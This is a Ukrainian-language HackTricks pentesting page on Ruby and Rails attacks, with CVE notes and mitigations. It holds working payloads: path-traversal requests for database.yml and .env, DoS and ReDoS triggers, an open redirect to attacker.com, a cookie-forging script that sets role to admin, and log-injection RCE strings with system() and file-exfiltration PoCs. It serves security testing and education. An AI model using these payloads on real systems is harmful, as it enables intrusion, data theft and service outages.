Трюки Ruby
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
File upload to RCE
Як пояснюється в this article, завантаження файлу .rb у чутливі директорії, такі як config/initializers/, може призвести до remote code execution (RCE) в Ruby on Rails додатках.
Поради:
- Інші місця, які виконуються під час старту додатку або під час eager-load і також небезпечні, якщо доступні для запису (наприклад,
config/initializers/— класичний приклад). Якщо ви знайдете довільне завантаження файлу, яке потрапляє кудись підconfig/і пізніше evaluate/require-иться, ви можете отримати RCE при старті. - Шукайте dev/staging збірки, які копіюють файли, контрольовані користувачем, у container image, де Rails завантажить їх при старті.
Active Storage image transformation → command execution (CVE-2025-24293)
Коли додаток використовує Active Storage з image_processing + mini_magick, і передає недовірені параметри до методів трансформації зображень, версії Rails до 7.1.5.2 / 7.2.2.2 / 8.0.2.1 можуть дозволити command injection, оскільки деякі методи трансформації помилково були дозволені за замовчуванням.
- Вразливий шаблон виглядає так:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
де params[:t] і/або params[:v] контролюються атакуючим.
-
Що спробувати під час тестування
-
Знайдіть будь-які ендпоїнти, які приймають variant/processing опції, імена трансформацій або довільні аргументи ImageMagick.
-
Фаззуйте
params[:t]таparams[:v]в пошуках підозрілих помилок або побічних ефектів виконання. Якщо ви можете впливати на ім’я методу або передати сирі аргументи, що потрапляють до MiniMagick, потенційно можна отримати виконання коду на хості, що обробляє зображення. -
Якщо у вас лише read-access до згенерованих варіантів, спробуйте сліпий ексфільтраційний канал через спеціально сформовані операції ImageMagick.
-
Виправлення/виявлення
-
Якщо ви бачите Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 з Active Storage +
image_processing+mini_magickі користувацькими трансформаціями, вважайте це експлойтабельним. Рекомендуйте оновити та запровадити суворі allowlists для методів/параметрів і жорстку політику ImageMagick.
Rack::Static LFI / path traversal (CVE-2025-27610)
Якщо цільовий стек використовує Rack middleware безпосередньо або через фреймворки, версії rack до 2.2.13, 3.0.14 та 3.1.12 дозволяють Local File Inclusion через Rack::Static, коли :root не встановлено або помилково сконфігуровано. Закодований traversal в PATH_INFO може відкрити файли під робочою директорією процесу або неочікуваним root.
- Шукайте додатки, які монтують
Rack::Staticуconfig.ruабо у стеку middleware. Спробуйте закодовані traversal проти статичних шляхів, наприклад:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Налаштуйте префікс, щоб відповідати сконфігурованим urls:. Якщо додаток відповідає вмістом файлу, ймовірно у вас є LFI до всього під розв’язаним :root.
- Мітігація: оновіть Rack; переконайтеся, що
:rootвказує лише на директорію з публічними файлами і встановлено явно.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 та < 2.2.8.1 витрачав суперлінійний час на парсинг спеціально сформованих заголовків Content-Type: multipart/form-data. Одиничний POST з величезним списком параметрів A= може зайняти worker Puma/Unicorn і спричинити DoS або виснаження черги запитів.
- Швидкий PoC (завісить один worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Працює проти будь-якого стеку на базі Rack (Rails/Sinatra/Hanami/Grape). Якщо спереду стоїть nginx/haproxy з keep-alive, повторюйте паралельно, щоб вичерпати воркери.
- Виправлено шляхом перетворення парсера на лінійний; шукайте версії гемів
rack<3.0.9.1або <2.2.8.1. У оцінках вкажіть, що WAF-и рідко блокують це, оскільки заголовок синтаксично валідний.
REXML XML parser ReDoS (CVE-2024-49761)
Гем REXML < 3.3.9 (Ruby 3.1 і раніше) катастрофічно бектрекував при парсингу шістнадцяткових numeric character references, що містять довгі послідовності цифр (наприклад, �x41;). Будь-який XML, оброблений REXML або бібліотеками, які його обгортають (SOAP/XML API клієнти, SAML, SVG uploads), можна використати для вичерпання CPU.
Мінімальний тригер проти Rails ендпоїнту, який парсить XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
Якщо процес залишається завантаженим протягом кількох секунд і CPU воркера різко зростає, швидше за все він уразливий. Атака малопропускна і також впливає на background jobs, які обробляють XML.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Додатки, що використовують gem cgi (за замовчуванням у багатьох Rack-стеках), можна заморозити одним шкідливим заголовком:
CGI::Cookie.parseпрацював суперлінійно; величезні cookie-рядки (тисячі роздільників) викликають поведінку O(N²).CGI::Util#escapeElementregex дозволяв ReDoS при екранізації HTML.
Обидві проблеми виправлені в cgi 0.3.5.1 / 0.3.7 / 0.4.2. Для pentests, відправте величезний заголовок Cookie: або передайте ненадійний HTML у допоміжний код і спостерігайте за зависанням воркера. Поєднайте з keep-alive для посилення.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
Gem googlesign_in < 1.3.0 (використовується для Google OAuth на Rails) виконував неповну same-origin перевірку параметра proceedto. Невірно сформований URL на кшталт proceedto=//attacker.com/%2F.. обходить перевірку і перенаправляє користувача на сторонній сайт, зберігаючи Rails flash/session cookies.
Exploit flow:
- Жертва клацає по спеціально підготовленому посиланню Google Sign-In, розміщеному зловмисником.
- Після автентифікації gem перенаправляє на домен, контрольований зловмисником, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
- Якщо додаток зберігає short-lived tokens або magic links у flash, це може призвести до account takeover.
Під час тестування, grep Gemfile.lock на наявність googlesign_in < 1.3.0 і спробуйте невірні значення proceedto. Підтвердіть через Location header і cookie reflection.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails шифрує і підписує cookies, використовуючи ключі, похідні від secret_key_base. Якщо це значення leaks (наприклад, у репозиторії, логах або через неправильно налаштовані credentials), зазвичай можна decrypt, modify і re-encrypt cookies. Це часто призводить до authz bypass, якщо додаток зберігає ролі, user IDs або feature flags у cookies.
Мінімальний Ruby для decrypt і re-encrypt сучасних cookies (AES-256-GCM, default у recent Rails):
Ruby для розшифровки/підробки cookies
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
Примітки:
- У старіших додатках можуть використовуватися AES-256-CBC та salts `encrypted cookie` / `signed encrypted cookie`, або серіалізатори JSON/Marshal. Налаштуйте salts, cipher і serializer відповідно.
- У разі компрометації/під час оцінки — змініть `secret_key_base`, щоб зробити недійсними всі існуючі cookies.
## See also (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Коли додаток (часто простий Rack/Sinatra/Rails endpoint) одночасно:
- записує в лог рядок, контрольований користувачем, без змін, та
- пізніше виконує `load` файла, шлях до якого походить від того самого рядка (після `Pathname#cleanpath`),
Часто можна досягти RCE, «отруївши» лог і змусивши додаток виконати `load` файлу логу. Ключові примітиви:
- Ruby `load` виконує вміст цільового файлу як Ruby незалежно від розширення файлу. Будь-який текстовий файл, вміст якого розбирається як Ruby, буде виконано.
- `Pathname#cleanpath` згортає сегменти `.` і `..` без звернення до файлової системи, дозволяючи path smuggling: керований атакуючим непотріб може бути доданий спереду для логування, в той час як очищений шлях все ще резольвиться до потрібного файлу для виконання (наприклад, `../logs/error.log`).
### Minimal vulnerable pattern
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Чому лог може містити валідний Ruby
Logger записує префіксні рядки, наприклад:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
У Ruby # починає коментар, а 9/2/2025 — це просто арифметика. Щоб інжектувати валідний Ruby-код, потрібно:
- Почніть payload з нового рядка, щоб він не був закоментований
#в INFO-рядку; надішліть провідний newline (\nабо%0A). - Закрийте незакриту
[введену INFO-рядком. Поширений трюк — почати з]і опціонально задовольнити парсер за допомогою][0]=1. - Потім вставте довільний Ruby-код (наприклад,
system(...)).
Приклад того, що опиниться в логах після одного запиту з підробленим параметром:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Просмикування одного рядка, який одночасно записує код у logs і резольвиться до log path
Нам потрібен один контрольований атакуючим рядок, який:
- коли logged raw, містить наш Ruby payload, і
- коли передається через
Pathname.new(<input>).cleanpath, резольвиться до../logs/error.log, тож наступний викликloadвиконає щойно отручений log file.
Pathname#cleanpath ігнорує схеми та згортає компоненти обходу, тому наступне працює:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Символ
#перед://примушує Ruby ігнорувати хвіст під час виконання логу, тоді якcleanpathвсе ще скорочує суфікс до../logs/error.log. - Початковий перенос рядка виходить із INFO-рядка;
]закриває відкриту дужку;][0]=1задовольняє парсер.
Експлуатація від початку до кінця
- Надішліть наступне як ім’я backup script (URL-кодуйте перший перенос рядка як
%0A, якщо потрібно):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- Додаток записує ваш сирий рядок у
logs/error.log. - Додаток обчислює
cleanpath, який стає../logs/error.log, і викликаєloadна ньому. - Ruby виконує код, який ви вставили в лог.
Щоб ексфільтрувати файл у середовищі, подібному до CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (перший символ — це новий рядок):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Джерела
- Оголошення безпеки Rails: CVE-2025-24293 — Active Storage: небезпечні методи трансформації (виправлено в 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- Оповіщення GitHub: Rack::Static Local File Inclusion (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Документація Ruby Pathname.cleanpath
- Ruby Logger
- Як працює load в Ruby
- Повідомлення про Rack multipart ReDoS (CVE-2024-25126)
- Повідомлення про безпеку Ruby для CGI / URI (CVE-2025-27219/27220/27221)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


